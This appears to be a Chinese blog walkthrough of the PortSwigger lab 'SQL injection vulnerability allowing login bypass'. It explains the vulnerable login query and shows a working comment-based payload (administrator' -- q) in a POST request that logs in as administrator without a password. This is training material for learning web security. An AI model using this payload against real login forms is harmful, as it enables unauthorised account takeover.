Portswigger练兵场之SQL注入之SQL 注入-绕过登录的万能密码
Lab: SQL injection vulnerability allowing login bypass
实验前置必要知识点
正常一个没有防护的应用程序,允许用户使用用户名和密码登录。
如果用户提交用户名和密码,应用程序将通过执行以下 SQL 查询来检查凭据:
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
如果查询返回用户的详细信息,则登录成功。否则,将被拒绝。
如果遇到防护较低的应用程序,在这个时候利用注释的方法,让查询帐号的结果返回真,忽略掉密码部分,即万能密码登录系统。
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
此查询返回用户名为administrator
的用户,并成功将攻击者登录到该用户。
实验要求
本实验在登录函数中包含一个 SQL
注入漏洞。
若要解决实验室问题,请执行以administrator
用户身份登录到应用程序的 SQL 注入攻击。
渗透开始
-
访问对应靶场界面
https://portswigger.net/web-security/sql-injection/lab-login-bypass
-
启动靶场
1. 站点分析
这是购物类型的网站
具有查看商品以及登录的功能点
2. 寻找可疑功能点(查看Burp历史记录进行分析)
从总体来看,根据提示需要关注的是登录功能点
因此,分析突破口在这
3. 功能点测试
将对应的日志信息发送到重放模块
如果登录处存在无防护的SQL
注入的话,首先我们尝试让语句报错,添加'
很直观的发现500
报错了
添加2个'发现变回了200
说明是单引号闭合的SQL
语句
推测应用程序会将输入的账号密码通过执行以下SQL
查询来检查凭据:
SELECT * FROM users WHERE username = 'aaa' AND password = 'bbb'
可以确定的是账号和密码处是可控的
SELECT * FROM users WHERE username = '{账号}' AND password = '{密码}'
根据提示,需要登录的账号是administrator
,因此先修改username
参数
SELECT * FROM users WHERE username = 'administrator' AND password = '{密码}'
如果查询的时候让账号为真并且忽略掉后面的内容,根据SQL
的逻辑,账号存在为真会返回True
,而应用程序根据返回为真的情况允许用户登录
SELECT * FROM users WHERE username = 'administrator' -- q' AND password = '{密码}'
利用注释的方法忽略掉密码,尝试在username
参数后administrator
拼接' --
因为是在POST
传参中,不需要像GET
一样进行URL
编码操作
csrf=lsKpaUmIveO1R6uh8ap9d1OFNOGu14Vv&username=administrator' -- q&password=bbb
发现成功重定向进行了登录
4.完成实验
构造语句
发现需要令牌
直接复制之前的set-cookie
进行登录,成功完成了实验
本公众号云息信安所提供的信息以及工具仅供安全测试人员用于授权测试,禁止用于未授权测试,请勿非法使用!!!造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号云息信安及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(云息信安):绕过登录的万能密码 SQL 注入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论